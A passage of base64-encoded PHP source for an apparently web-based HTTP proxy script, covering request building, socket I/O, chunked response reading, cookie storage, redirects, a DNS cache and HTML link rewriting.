yb3h5X3ZhcmlhYmxlcykpICRhZGR0b291dC49IiAka2V5PSR2YWw7IjsNCgkJfQ0KCQlpZighZW1wdHkoJGFkZHRvb3V0KSl7DQoJCQkkYWRkdG9vdXQuPSJcclxuIjsNCgkJCSRvdXQuPSJDb29raWU6eyRhZGR0b291dH0iOw0KCQl9DQoJfQ0KDQoJJG91dC49IkFjY2VwdDogKi8qO3E9MC4xXHJcbiIuDQoJICAgICAgKEdaSVBfUFJPWFlfU0VSVkVSPyJBY2NlcHQtRW5jb2Rpbmc6IGd6aXBcclxuIjpudWxsKS4NCgkgICAgICAvLyJBY2NlcHQtQ2hhcnNldDogSVNPLTg4NTktMSx1dGYtODtxPTAuMSwqO3E9MC4xXHJcbiIuDQoJICAgICAgLyovDQoJICAgICAgIktlZXAtQWxpdmU6IDMwMFxyXG4iLg0KCSAgICAgICJDb25uZWN0aW9uOiBrZWVwLWFsaXZlXHJcbiIuICAgICAgICAgICAgICAgICAgICAgICAgICAvKi8NCgkgICAgICAiQ29ubmVjdGlvbjogY2xvc2VcclxuIi4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLy8qLw0KCSAgICAgICgkY2FjaGVfY29udHJvbCE9bnVsbD8iQ2FjaGUtQ29udHJvbDogJGNhY2hlX2NvbnRyb2xcclxuIjpudWxsKS4NCgkgICAgICAoJGlmX21vZGlmaWVkIT1udWxsPyJJZi1Nb2RpZmllZC1TaW5jZTogJGlmX21vZGlmaWVkXHJcbiI6bnVsbCkuDQoJICAgICAgKCRpZl9ub25lX21hdGNoIT1udWxsPyJJZi1Ob25lLU1hdGNoOiAkaWZfbm9uZV9tYXRjaFxyXG4iOm51bGwpLg0KCSAgICAgICJcclxueyRwb3N0X3ZhcnN9Ig0KCTsNCg0KCS8vIFRoaXMgcGFydCBpZ25vcmVzIGFueSAiU1NMOiBmYXRhbCBwcm90b2NvbCBlcnJvciIgZXJyb3JzLCBhbmQgbWFrZXMgc3VyZSBvdGhlciBlcnJvcnMgYXJlIHN0aWxsIHRyaWdnZXJlZCBjb3JyZWN0bHkNCglmdW5jdGlvbiBlcnJvckhhbmRsZSgkZXJybm8sJGVycm1zZyl7DQoJCWlmKCRlcnJubzw9RV9QQVJTRSAmJiAoJGVycm5vIT1FX1dBUk5JTkcgfHwgc3Vic3RyKCRlcnJtc2csLTI1KSE9J1NTTDogZmF0YWwgcHJvdG9jb2wgZXJyb3InKSl7DQoJCQlyZXN0b3JlX2Vycm9yX2hhbmRsZXIoKTsNCgkJCXRyaWdnZXJfZXJyb3IoJGVycm1zZywkZXJybm88PDgpOw0KCQkJc2V0X2Vycm9yX2hhbmRsZXIoJ2Vycm9ySGFuZGxlJyk7DQoJCX0NCgl9DQoJc2V0X2Vycm9yX2hhbmRsZXIoJ2Vycm9ySGFuZGxlJyk7DQoNCgkkZnA9QGZzb2Nrb3BlbigkaXBhZGRyZXNzLCRwb3J0dmFsLCRlcnJubywkZXJydmFsLDUpIG9yIGhhdm9rKDYsJHNlcnZlcm5hbWUsJHBvcnR2YWwpOw0KCXN0cmVhbV9zZXRfdGltZW91dCgkZnAsNSk7DQoJIyBmb3IgcGVyc2lzdGVudCBjb25uZWN0aW9ucywgdGhpcyBtYXkgYmUgbmVjZXNzYXJ5DQoJLyoNCgkkdWI9c3RyZWFtX2dldF9tZXRhX2RhdGEoJGZwKTsNCgkkdWI9JHViWyd1bnJlYWRfYnl0ZXMnXTsNCglpZigkdWI+MCkgZnJlYWQoJGZwLCR1Yik7DQoJKi8NCglmd3JpdGUoJGZwLCRvdXQpOw0KDQoJJHJlc3BvbnNlPScxMDAnOw0KCXdoaWxlKCRyZXNwb25zZT09JzEwMCcpew0KCQkkcmVzcG9uc2VsaW5lPWZnZXRzKCRmcCw4MTkyKTsNCgkJJHJlc3BvbnNlPXN1YnN0cigkcmVzcG9uc2VsaW5lLDksMyk7DQoNCgkJJGhlYWRlcnM9YXJyYXkoKTsNCgkJd2hpbGUoJGN1cmxpbmUhPSJcclxuIiAmJiAkY3VybGluZT1mZ2V0cygkZnAsODE5Mikpew0KCQkJJGhhcnI9ZXhwbG9kZSgnOicsJGN1cmxpbmUsMik7DQoJCQkkaGVhZGVyc1tzdHJ0b2xvd2VyKCRoYXJyWzBdKV1bXT10cmltKCRoYXJyWzFdKTsNCgkJfQ0KCX0NCg0KCSNpZigkaGVhZGVyc1sncHJhZ21hJ11bMF09PW51bGwpIGhlYWRlcignUHJhZ21hOiBwdWJsaWMnKTsNCgkjaWYoJGhlYWRlcnNbJ2NhY2hlLWNvbnRyb2wnXVswXT09bnVsbCkgaGVhZGVyKCdDYWNoZS1Db250cm9sOiBwdWJsaWMnKTsNCgkjaWYoJGhlYWRlcnNbJ2xhc3QtbW9kaWZpZWQnXVswXT09bnVsbCAmJiAkaGVhZGVyc1snZXhwaXJlcyddPT1udWxsKSBoZWFkZXIoJ0V4cGlyZXM6ICcuZGF0ZSgnRCwgZCBNIFkgSDppOnMgZScsdGltZSgpKzg2NDAwKSk7DQoNCgkjIHJlYWQgYW5kIHN0b3JlIGNvb2tpZXMNCglpZihlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19yZW1vdmVfY29va2llcyddKSl7DQoJCWZvcigkaT0wOyRpPGNvdW50KCRoZWFkZXJzWydzZXQtY29va2llJ10pOyRpKyspew0KCQkJJHRoaXNjb29rPWV4cGxvZGUoJz0nLCRoZWFkZXJzWydzZXQtY29va2llJ11bJGldLDIpOw0KCQkJaWYoIXN0cnBvcygkdGhpc2Nvb2tbMV0sJzsnKSkgJHRoaXNjb29rWzFdLj0nOyc7DQoJCQkkY29va192YWw9c3Vic3RyKCR0aGlzY29va1sxXSwwLHN0cnBvcygkdGhpc2Nvb2tbMV0sJzsnKSk7DQoJCQkkY29va19kb21haW49cHJlZ19yZXBsYWNlKCcvXi4qZG9tYWluPVsJIF0qXC4/KFteO10rKS4qPyQvaScsJ1wxJywkdGhpc2Nvb2tbMV0pOyAjKg0KCQkJaWYoJGNvb2tfZG9tYWluPT0kdGhpc2Nvb2tbMV0pICRjb29rX2RvbWFpbj0kY29va19wcmVmZG9tYWluOw0KCQkJZWxzZWlmKHN1YnN0cigkY29va19wcmVmZG9tYWluLHN0cmxlbigkY29va19wcmVmZG9tYWluKS1zdHJsZW4oJGNvb2tfZG9tYWluKSxzdHJsZW4oJGNvb2tfZG9tYWluKSkhPSRjb29rX2RvbWFpbikgY29udGludWU7DQoJCQkkY29va19uYW1lPXN0cl9yZXBsYWNlKCcuJywnXycsJGNvb2tfZG9tYWluKS5DT09LSUVfU0VQQVJBVE9SLiR0aGlzY29va1swXTsNCgkJCWlmKEVOQ1JZUFRfQ09PS1Mpew0KCQkJCSRjb29rX25hbWU9cHJveGVuYygkY29va19uYW1lKTsNCgkJCQkkY29va192YWw9cHJveGVuYygkY29va192YWwpOw0KCQkJfQ0KCQkJZG9zZXRjb29raWUoJGNvb2tfbmFtZSwkY29va192YWwpOw0KCQl9DQoJfQ0KDQoJaWYoJHJlc3BvbnNlezB9PT0nMycgJiYgJHJlc3BvbnNlezF9PT0nMCcgJiYgJHJlc3BvbnNlezJ9IT0nNCcpew0KCQkkdXJsb2JqPW5ldyBhdXJsKCR1cmwpOw0KCQkkcmVkaXJ1cmw9ZnJhbWlmeV91cmwoc3Vycm9nYWZ5X3VybCgkaGVhZGVyc1snbG9jYXRpb24nXVswXSwkdXJsb2JqKSxORVdfUEFHRVRZUEVfRlJBTUVEX1BBR0UpOw0KDQoJCWZjbG9zZSgkZnApOw0KCQlyZXN0b3JlX2Vycm9yX2hhbmRsZXIoKTsNCg0KCQlmaW5pc2hfbm9leGl0KCk7DQoJCWhlYWRlcigiTG9jYXRpb246IHskcmVkaXJ1cmx9Iik7DQoJCWV4aXQoKTsNCgl9DQoNCgkkb2hlYWRlcnM9JGhlYWRlcnM7DQoJJG9oZWFkZXJzWydsb2NhdGlvbiddPSRvaGVhZGVyc1snY29udGVudC1sZW5ndGgnXT0kb2hlYWRlcnNbJ2NvbnRlbnQtZW5jb2RpbmcnXT0NCgkkb2hlYWRlcnNbJ3NldC1jb29raWUnXT0kb2hlYWRlcnNbJ3RyYW5zZmVyLWVuY29kaW5nJ109JG9oZWFkZXJzWydjb25uZWN0aW9uJ109DQoJJG9oZWFkZXJzWydrZWVwLWFsaXZlJ109JG9oZWFkZXJzWydwcmFnbWEnXT0kb2hlYWRlcnNbJ2NhY2hlLWNvbnRyb2wnXT0kb2hlYWRlcnNbJ2V4cGlyZXMnXT1udWxsOw0KDQoJd2hpbGUobGlzdCgka2V5LCR2YWwpPWVhY2goJG9oZWFkZXJzKSkgaWYoIWVtcHR5KCR2YWxbMF0pKSBoZWFkZXIoInska2V5fTogeyR2YWxbMF19Iik7DQoJdW5zZXQoJG9oZWFkZXJzKTsNCgloZWFkZXIoIlN0YXR1czogeyRyZXNwb25zZX0iKTsNCg0KCWlmKHN1YnN0cigkaGVhZGVyc1snY29udGVudC10eXBlJ11bMF0sMCw0KT09J3RleHQnIHx8IHN1YnN0cigkaGVhZGVyc1snY29udGVudC10eXBlJ11bMF0sMCwyNCk9PSdhcHBsaWNhdGlvbi94LWphdmFzY3JpcHQnKXsNCgkJJGp1c3RvdXRwdXQ9ZmFsc2U7DQoJCSRqdXN0b3V0cHV0bm93PWZhbHNlOw0KCX0NCgllbHNlew0KCQkkanVzdG91dHB1dG5vdz0oJGhlYWRlcnNbJ2NvbnRlbnQtZW5jb2RpbmcnXVswXT09J2d6aXAnP2ZhbHNlOnRydWUpOw0KCQkkanVzdG91dHB1dD10cnVlOw0KCX0NCg0KCWlmKCRoZWFkZXJzWyd0cmFuc2Zlci1lbmNvZGluZyddWzBdPT0nY2h1bmtlZCcpew0KCQkkYm9keT1udWxsOw0KCQkkY2h1bmtzaXplPW51bGw7DQoJCXdoaWxlKCRjaHVua3NpemUhPT0wKXsNCgkJCSRjaHVua3NpemU9aW50dmFsKGZnZXRzKCRmcCw4MTkyKSwxNik7DQoJCQkkYnVmc2l6ZT0kY2h1bmtzaXplOw0KCQkJd2hpbGUoJGJ1ZnNpemU+PTEpew0KCQkJCSRjaHVuaz1mcmVhZCgkZnAsJGJ1ZnNpemUpOw0KCQkJCWlmKCRqdXN0b3V0cHV0bm93KSBlY2hvICRjaHVuazsNCgkJCQllbHNlICRib2R5Lj0kY2h1bms7DQoJCQkJJGJ1ZnNpemUtPXN0cmxlbigkY2h1bmspOw0KCQkJfQ0KCQkJZnJlYWQoJGZwLDIpOw0KCQl9DQoJfQ0KDQoJLy8gQ29udGVudC1MZW5ndGggc3R1ZmYgLSBjb21tZW50ZWQgZm9yIGV2ZW4gbW9yZSBjaG9jb2xhdGV5IGdvb2RuZXNzDQoJLyplbHNlaWYoJGhlYWRlcnNbJ2NvbnRlbnQtbGVuZ3RoJ11bMF0hPW51bGwpew0KCQkkY29ubGVuPSRoZWFkZXJzWydjb250ZW50LWxlbmd0aCddWzBdOw0KCQkkYm9keT1udWxsOw0KCQlmb3IoJGk9MDskaTwkY29ubGVuOyRpKz0kcmVhZCl7DQoJCQkkcmVhZD0oJGNvbmxlbi0kaTw4MTkyPyRjb25sZW4tJGk6ODE5Mik7DQoJCQkkYnl0ZT1mcmVhZCgkZnAsJHJlYWQpOw0KCQkJaWYoJGp1c3RvdXRwdXRub3cpIGVjaG8gJGJ5dGU7DQoJCQllbHNlICRib2R5Lj0kYnl0ZTsNCgkJfQ0KCX0qLw0KDQoJZWxzZXsNCgkJaWYoZnVuY3Rpb25fZXhpc3RzKCdzdHJlYW1fZ2V0X2NvbnRlbnRzJykpew0KCQkJaWYoJGp1c3RvdXRwdXRub3cpIGVjaG8gc3RyZWFtX2dldF9jb250ZW50cygkZnApOw0KCQkJZWxzZSAkYm9keT1zdHJlYW1fZ2V0X2NvbnRlbnRzKCRmcCk7DQoJCX0NCgkJZWxzZXsNCgkJCSRib2R5PW51bGw7DQoJCQl3aGlsZSh0cnVlKXsNCgkJCQkkY2h1bms9ZnJlYWQoJGZwLDgxOTIpOw0KCQkJCWlmKGVtcHR5KCRjaHVuaykpIGJyZWFrOw0KCQkJCWlmKCRqdXN0b3V0cHV0bm93KSBlY2hvICRjaHVuazsNCgkJCQllbHNlICRib2R5Lj0kY2h1bms7DQoJCQl9DQoJCX0NCgl9DQoNCglmY2xvc2UoJGZwKTsNCglyZXN0b3JlX2Vycm9yX2hhbmRsZXIoKTsNCg0KCWlmKEdaSVBfUFJPWFlfU0VSVkVSICYmICRoZWFkZXJzWydjb250ZW50LWVuY29kaW5nJ11bMF09PSdnemlwJykgJGJvZHk9Z3ppbmZsYXRlKHN1YnN0cigkYm9keSwxMCkpOw0KCWlmKCRqdXN0b3V0cHV0KXsNCgkJaWYoISRqdXN0b3V0cHV0bm93KSBlY2hvICRib2R5Ow0KCQlmaW5pc2goKTsNCgl9DQoJcmV0dXJuIGFycmF5KCRib2R5LCR1cmwsJGNvb2tfcHJlZml4KTsNCg0KfQ0KDQojIH19fQ0KDQojIH19fQ0KDQojIFBST1hZIEVYRUNVVElPTiB7e3sNCg0KIyBQUk9YWSBFWEVDVVRJT046IFVTRVIgQ09PS0lFUyB7e3sNCg0KZ2xvYmFsICRwcm94eV92YXJpYWJsZXM7DQokcHJveHlfdmFyaWFibGVzPWFycmF5KENPT0tfUFJFRixDT09LX1BSRUYuJ19waXAnLENPT0tfUFJFRi4nX3Bwb3J0JyxDT09LX1BSRUYuJ191c2VyYWdlbnQnLENPT0tfUFJFRi4nX3VzZXJhZ2VudHRleHQnLENPT0tfUFJFRi4nX3VybF9mb3JtJyxDT09LX1BSRUYuJ19yZW1vdmVfY29va2llcycsQ09PS19QUkVGLidfcmVtb3ZlX3JlZmVyZXInLENPT0tfUFJFRi4nX3JlbW92ZV9zY3JpcHRzJyxDT09LX1BSRUYuJ19yZW1vdmVfb2JqZWN0cycsQ09PS19QUkVGLidfZW5jcnlwdF91cmxzJyxDT09LX1BSRUYuJ19lbmNyeXB0X2Nvb2tzJyk7DQoNCmlmKCRwb3N0YW5kZ2V0W0NPT0tfUFJFRi4nX3NldF92YWx1ZXMnXSl7DQoJJHByb3h5X3ZhcmJsYWNrbGlzdD1hcnJheShDT09LX1BSRUYpOw0KCWlmKCRwb3N0YW5kZ2V0W0NPT0tfUFJFRi4nX3VzZXJhZ2VudCddIT0nMScpew0KCQl1bnNldCgkcG9zdGFuZGdldFtDT09LX1BSRUYuJ191c2VyYWdlbnR0ZXh0J10pOw0KCQlkb3NldGNvb2tpZShDT09LX1BSRUYuJ191c2VyYWdlbnR0ZXh0JyxmYWxzZSwwKTsNCgl9DQoJd2hpbGUobGlzdCgka2V5LCR2YWwpPWVhY2goJHByb3h5X3ZhcmlhYmxlcykpew0KCQlpZighaW5fYXJyYXkoJHZhbCwkcHJveHlfdmFyYmxhY2tsaXN0KSl7DQoJCQlkb3NldGNvb2tpZSgkdmFsLGZhbHNlLDApOw0KCQkJaWYoaXNzZXQoJHBvc3RhbmRnZXRbJHZhbF0pICYmICFlbXB0eSgkcG9zdGFuZGdldFskdmFsXSkpIGRvc2V0Y29va2llKCR2YWwsJHBvc3RhbmRnZXRbJHZhbF0pOw0KCQl9DQoJfQ0KCSR0aGV1cmw9ZnJhbWlmeV91cmwoc3Vycm9nYWZ5X3VybChPUklHX1VSTCksUEFHRVRZUEVfRlJBTUVfVE9QKTsNCgkjJHRoZXVybD1zdXJyb2dhZnlfdXJsKChFTkNSWVBUX1VSTFM/cHJveGRlYygkdGhldXJsKTokdGhldXJsKSxudWxsKTsNCgloZWFkZXIoIkxvY2F0aW9uOiB7JHRoZXVybH0iKTsNCglmaW5pc2goKTsNCn0NCg0KIyB9fX0NCg0KIyBQUk9YWSBFWEVDVVRJT046IFBST1hZIEdFVC9QT1NUL0NPT0tJRVMge3t7DQoNCmRlZmluZSgnUElQJywoRk9SQ0VfREVGQVVMVF9UVU5ORUw/JF9DT09LSUVbQ09PS19QUkVGLidfcGlwJ106REVGQVVMVF9UVU5ORUxfUElQKSk7DQpkZWZpbmUoJ1BQT1JUJyxpbnR2YWwoRk9SQ0VfREVGQVVMVF9UVU5ORUw/JF9DT09LSUVbQ09PS19QUkVGLidfcHBvcnQnXTpERUZBVUxUX1RVTk5FTF9QUE9SVCkpOw0KDQpkZWZpbmUoJ0VOQ1JZUFRfQ09PS1MnLGdldGhhcmRhdHRyKCdlbmNyeXB0X2Nvb2tzJykpOw0KDQpnbG9iYWwgJHJlZmVyZXI7DQppZigkX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ109PW51bGwpew0KCSRyZWZ1cmxvYmo9bmV3IGF1cmwoJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddKTsNCgkkcmVmZXJlcj1wcm94ZGVjKHByZWdfcmVwbGFjZSgnL15bXHNcU10qJy5DT09LX1BSRUYuJz0oW14mXSopW1xzXFNdKiQvaScsJ1wxJywkcmVmdXJsb2JqLT5nZXRfcGF0aCgpKSk7ICMqDQp9DQplbHNlICRyZWZlcmVyPW51bGw7DQoNCiMkZ2V0a2V5cz1hcnJheV9rZXlzKCRfR0VUKTsNCiNmb3JlYWNoKCRnZXRrZXlzIGFzICRnZXR2YXIpeyBpZighaW5fYXJyYXkoJGdldHZhciwkcHJveHlfdmFyaWFibGVzKSl7ICRjdXJyX3VybC49KHN0cnBvcygkY3Vycl91cmwsJz8nKT09PWZhbHNlPyc/JzonJicpLiIkZ2V0dmFyPSIudXJsZW5jb2RlKCRfR0VUWyRnZXR2YXJdKTsgfSB9DQoNCmdsb2JhbCAkcG9zdF92YXJzOw0KJHBvc3RfdmFycz1udWxsOw0KJHBvc3RrZXlzPWFycmF5X2tleXMoJF9QT1NUKTsNCmZvcmVhY2goJHBvc3RrZXlzIGFzICRwb3N0a2V5KXsNCglpZighaW5fYXJyYXkoJHBvc3RrZXksJHByb3h5X3ZhcmlhYmxlcykpew0KCQlpZighaXNfYXJyYXkoJF9QT1NUWyRwb3N0a2V5XSkpDQoJCQkkcG9zdF92YXJzLj0oJHBvc3RfdmFycyE9bnVsbD8nJic6bnVsbCkuaHR0cGNsZWFuKCRwb3N0a2V5KS4nPScuaHR0cGNsZWFuKCRfUE9TVFskcG9zdGtleV0pOw0KCQllbHNlew0KCQkJZm9yZWFjaCgkX1BPU1RbJHBvc3RrZXldIGFzICRwb3N0dmFsKQ0KCQkJCSRwb3N0X3ZhcnMuPSgkcG9zdF92YXJzIT1udWxsPycmJzpudWxsKS5odHRwY2xlYW4oJHBvc3RrZXkpLiclNUIlNUQ9Jy5odHRwY2xlYW4oJHBvc3R2YWwpOw0KCQl9DQoJfQ0KfQ0KdW5zZXQoJHBvc3RrZXlzKTsNCg0KIyB9fX0NCg0KIyBQUk9YWSBFWEVDVVRJT046IEROUyBDQUNIRSB7e3sNCg0KaWYoIWlzc2V0KCRfU0VTU0lPTlsnRE5TX0NBQ0hFX0FSUkFZJ10pKSAkZG5zX2NhY2hlX2FycmF5PWFycmF5KCk7DQplbHNlICRkbnNfY2FjaGVfYXJyYXk9JF9TRVNTSU9OWydETlNfQ0FDSEVfQVJSQVknXTsNCg0KIyBwdXJnZSBvbGQgcmVjb3JkcyBmcm9tIEROUyBjYWNoZQ0Kd2hpbGUobGlzdCgka2V5LCRlbnRyeSk9ZWFjaCgkZG5zX2NhY2hlX2FycmF5KSl7DQoJaWYoJGVudHJ5Wyd0aW1lJ108dGltZSgpLShETlNfQ0FDSEVfRVhQSVJFKjYwKSkgdW5zZXQoJGRuc19jYWNoZV9hcnJheVska2V5XSk7DQp9DQoNCiMgfX19DQoNCiMgUFJPWFkgRVhFQ1VUSU9OOiBQQUdFIFJFVFJJRVZBTCB7e3sNCg0KJHBhZ2VzdHVmZj1nZXRwYWdlKCRjdXJyX3VybCk7DQokYm9keT0kcGFnZXN0dWZmWzBdOw0KDQokdGJvZHk9dHJpbSgkYm9keSk7DQppZigoJHRib2R5ezB9PT0nIicgJiYgc3Vic3RyKCR0Ym9keSwtMSk9PSciJykgfHwgKCR0Ym9keXswfT09J1wnJyAmJiBzdWJzdHIoJHRib2R5LC0xKT09J1wnJykpew0KCWVjaG8gJGJvZHk7DQoJZmluaXNoKCk7DQp9DQp1bnNldCgkdGJvZHkpOw0KDQokY3Vycl91cmw9JHBhZ2VzdHVmZlsxXTsNCmRlZmluZSgnUEFHRUNPT0tfUFJFRklYJywkcGFnZXN0dWZmWzJdKTsNCnVuc2V0KCRwYWdlc3R1ZmYpOw0KZGVmaW5lKCdDT05URU5UX1RZUEUnLHByZWdfcmVwbGFjZSgnL14oW2EtejAtOVwtXC9dKykuKiQvaScsJ1wxJywkaGVhZGVyc1snY29udGVudC10eXBlJ11bMF0pKTsgIyoNCg0KIyB9fX0NCg0KIyBQUk9YWSBFWEVDVVRJT046IFBBR0UgUEFSU0lORyB7e3sNCg0KaWYoc3RycG9zKCRib2R5LCc8YmFzZScpKXsNCgkkYmFzZT1wcmVnX3JlcGxhY2UoJy9eLionLkJBU0VfUkVHRVhQLicuKiQvaXMnLCdcMScsJGJvZHkpOw0KCWlmKCFlbXB0eSgkYmFzZSkgJiYgJGJhc2UhPSRib2R5ICYmICFlbXB0eSgkYmFzZXsxMDB9KSl7DQoJCSRib2R5PXByZWdfcmVwbGFjZSgnLycuQkFTRV9SRUdFWFAuJy9pJyxudWxsLCRib2R5KTsNCg0KCQkvL3ByZWdfbWF0Y2goJy9eKFsiXCddKS4qXDEkL2knLCRiYXNlKT4wDQoJCWlmKCgkYmFzZXswfT09JyInICYmIHN1YnN0cigkYmFzZSwtMSk9PSciJykgfHwgKCRiYXNlezB9PT0nXCcnICYmIHN1YnN0cigkYmFzZSwtMSk9PSdcJycpKQ0KCQkJJGJhc2U9c3Vic3RyKCRiYXNlLDEsc3RybGVuKCRiYXNlKS0yKTsgIyoNCgkJJGN1cnJfdXJsPSRiYXNlOw0KCX0NCgl1bnNldCgkYmFzZSk7DQp9DQoNCmdsb2JhbCAkY3Vycl91cmxvYmo7DQokY3Vycl91cmxvYmo9bmV3IGF1cmwoJGN1cnJfdXJsKTsNCg0KIyBQUk9YWSBFWEVDVVRJT046IFBBR0UgUEFSU0lORzogUEFSU0lORyBGVU5DVElPTlMge3t7DQoNCmZ1bmN0aW9uIHBhcnNlX2h0bWwoJHJlZ2V4cCwkcGFydG9wYXJzZSwkaHRtbCwkYWRkcHJveHksJGZyYW1pZnkpew0KCWdsb2JhbCAkY3Vycl91cmxvYmo7DQoJJG5ld2h0bWw9bnVsbDsNCgl3aGlsZShwcmVnX21hdGNoKCRyZWdleHAsJGh0bWwsJG1hdGNoYXJyLFBSRUdfT0ZGU0VUX0NBUFRVUkUpKXsNCgkJJG51cmw9c3Vycm9nYWZ5X3VybCgkbWF0Y2hhcnJbJHBhcnRvcGFyc2VdWzBdLCRjdXJyX3VybG9iaiwkYWRkcHJveHkpOw0KCQlpZigkZnJhbWlmeSkgJG51cmw9ZnJhbWlmeV91cmwoJG51cmwsJGZyYW1pZnkpOw0KCQkkYmVnaW49JG1hdGNoYXJyWyRwYXJ0b3BhcnNlXVsxXTsNCgkJJGVuZD0kbWF0Y2hhcnJbJHBhcnRvcGFyc2VdWzFdK3N0cmxlbigkbWF0Y2hhcnJbJHBhcnRvcGFyc2VdWzBdKTsNCgkJJG5ld2h0bWwuPXN1YnN0cl9yZXBsYWNlKCRodG1sLCRudXJsLCRiZWdpbik7DQoJCSRodG1sPXN1YnN0cigkaHRtbCwkZW5kLHN0cmxlbigkaHRtbCktJGVuZCk7DQoJfQ0KCSRuZXdodG1sLj0kaHRtbDsNCglyZXR1cm4gJG5ld2h0bWw7DQp9DQoNCmZ1bmN0aW9uIHJlZ3VsYXJfZXhwcmVzcygkcmVnZXhwX2FycmF5LCR0aGV2YXIpew0KCSMkcmVnZXhwX2FycmF5WzJdLj0nUyc7ICMgaW4gYmVuY2htYXJrcywgdGhpcyAnb3B0aW1pemF0aW9uJyBhcHBlYXJlZCB0byBub3QgZG8gYW55dGhpbmcgYXQgYWxsLCBvciBwb3NzaWJseSBldmVuIHNsb3cgdGhpbmdzIGRvd24NCglpZigkcmVnZXhwX2FycmF5WzBdPT0xKSAkbmV3dmFyPXByZWdfcmVwbGFjZSgkcmVnZXhwX2FycmF5WzJdLCRyZWdleHBfYXJyYXlbM10sJHRoZXZhcik7DQoJZWxzZWlmKCRyZWdleHBfYXJyYXlbMF09PTIpew0KCQkkYWRkcHJveHk9KGlzc2V0KCRyZWdleHBfYXJyYXlbNF0pPyRyZWdleHBfYXJyYXlbNF06dHJ1ZSk7DQoJCSRmcmFtaWZ5PShpc3NldCgkcmVnZXhwX2FycmF5WzVdKT8kcmVnZXhwX2FycmF5WzVdOmZhbHNlKTsNCgkJJG5ld3Zhcj1wYXJzZV9odG1sKCRyZWdleHBfYXJyYXlbMl0sJHJlZ2V4cF9hcnJheVszXSwkdGhldmFyLCRhZGRwcm94eSwkZnJhbWlmeSk7DQoJfQ0KCXJldHVybiAkbmV3dmFyOw0KfQ0KDQpmdW5jdGlvbiBwYXJzZV9hbGxfaHRtbCgkaHRtbCl7DQoJZ2xvYmFsICRyZWdleHBfYXJyYXlzOw0KDQoJaWYoQ09OVEVOVF9UWVBFIT0ndGV4dC9odG1sJyl7DQoJCWZvcihyZXNldCgkcmVnZXhwX2FycmF5cyk7bGlzdCgka2V5LCRhcnIpPWVhY2goJHJlZ2V4cF9hcnJheXMpOyl7DQoJCQlpZigka2V5PT1DT05URU5UX1RZUEUpew0KCQkJCWZvcmVhY2goJGFyciBhcyAkcmVnYXJyKXsNCgkJCQkJaWYoJHJlZ2Fycj09bnVsbCkgY29udGludWU7DQoJCQkJCSRodG1sPXJlZ3VsYXJfZXhwcmVzcygkcmVnYXJyLCRodG1sKTsNCgkJCQl9DQoJCQl9DQoJCX0NCgkJcmV0dXJuICRodG1sOw0KCX0NCg0KCSNpZighZW1wdHkoJF9DT09LSUVbQ09PS19QUkVGLidfcmVtb3ZlX3NjcmlwdHMnXSkpICRzcGxpdGFycj1hcnJheSgkaHRtbCk7DQoJJHNwbGl0YXJyPXByZWdfc3BsaXQoJy8oPCEtLSg/IVxbaWYpLio/LS0+fDxzdHlsZS4qPzxcL3N0eWxlPnw8c2NyaXB0Lio/PFwvc2NyaXB0PikvaXMnLCRodG1sLC0xLFBSRUdfU1BMSVRfREVMSU1fQ0FQVFVSRSk7DQoJdW5zZXQoJGh0bWwpOw0KDQoJLy9kZWZpbmUoJ1JFR0VYUF9TQ1JJUFRfT05FVkVOVCcsJyggb25bYS16XXszLDIwfT0oPzoiKD86W14iXSspInxcJyg/OlteXCddKylcJ3xbXiJcJyA+XVteID5dK1teIlwnID5dKSknKTsNCgkkZmlyc3RydW49dHJ1ZTsNCgkkZmlyc3Rqc3J1bj10cnVlOw0KCWZvcihyZXNldCgkcmVnZXhwX2FycmF5cyk7bGlzdCgka2V5LCRhcnIpPWVhY2goJHJlZ2V4cF9hcnJheXMpOyl7DQoJCWlmKCRrZXk9PSd0ZXh0L2phdmFzY3JpcHQnKSBjb250aW51ZTsNCg0KCQkvLyBPUFRJT04xOiB1c2UgT05MWSBpZiBubyBKYXZhc2NyaXB0IFJFR0VYUFMgYWZmZWN0IEhUTUwgc2VjdGlvbnMNCgkJLy8gYW5kIGFsbCBIVE1MIG1vZGlmeWluZyBKYXZhc2NyaXB0IFJFR0VYUFMgYXJlIHBlcmZvcm1lZCBhZnRlciBIVE1MIHJlZ2V4cHMNCgkJLy8gVGhpcyBnaXZlcyBhIHByZXR0eSBzaWduaWZpY2FudCBzcGVlZCBib29zdA0KCQkvLyBJZiB1c2VkLCBtYWtlIHN1cmUgIk9QVElPTjIiIGxpbmVzIGFyZSBjb21tZW50ZWQsIGFuZCBvdGhlciAiT1BUSU9OMSIgbGluZXMgQVJFTidUDQoJCWlmKCRmaXJzdGpzcnVuICYmICRrZXk9PSdhcHBsaWNhdGlvbi94LWphdmFzY3JpcHQnKXsNCgkJCWlmKCFlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19yZW1vdmVfc2NyaXB0cyddKSkgYnJlYWs7DQoJCQkkc3BsaXRhcnIyPWFycmF5KCk7DQoJCQlmb3IoJGk9MDskaTxjb3VudCgkc3BsaXRhcnIpOyRpKz0yKXsNCgkJCQkkc3BsaXRhcnIyWyRpXT1wcmVnX3NwbGl0KCcvJy5SRUdFWFBfU0NSSVBUX09ORVZFTlQuJy9pcycsJHNwbGl0YXJyWyRpXSwtMSxQUkVHX1NQTElUX0RFTElNX0NBUFRVUkUpOw0KCQkJfQ0KCQl9DQoJCS8vIEVORCBPUFRJT04xDQoNCgkJIyBmaXJzdHJ1biByZW1vdmUgc2NyaXB0czogb248ZXZlbnQ+cyBhbmQgbm9zY3JpcHQgdGFnczsgYWxzbyByZW1vdmUgb2JqZWN0cw0KCQlpZigkZmlyc3RydW4gJiYgKCFlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19yZW1vdmVfc2NyaXB0cyddKSB8fCAhZW1wdHkoJF9DT09LSUVbQ09PS19QUkVGLidfcmVtb3ZlX29iamVjdHMnXSkpKXsNCgkJCWZvcigkaT0wOyRpPGNvdW50KCRzcGxpdGFycik7JGkrPTIpew0KCQkJCWlmKCFlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19yZW1vdmVfc2NyaXB0cyddKSkNCgkJCQkJJHNwbGl0YXJyWyRpXT1wcmVnX3JlcGxhY2UoJy8oPzonLlJFR0VYUF9TQ1JJUFRfT05FVkVOVC4nfDwuP25vc2NyaXB0PikvaXMnLG51bGwsJHNwbGl0YXJyWyRpXSk7DQoJCQkJaWYoIWVtcHR5KCRfQ09PS0lFW0NPT0tfUFJFRi4nX3J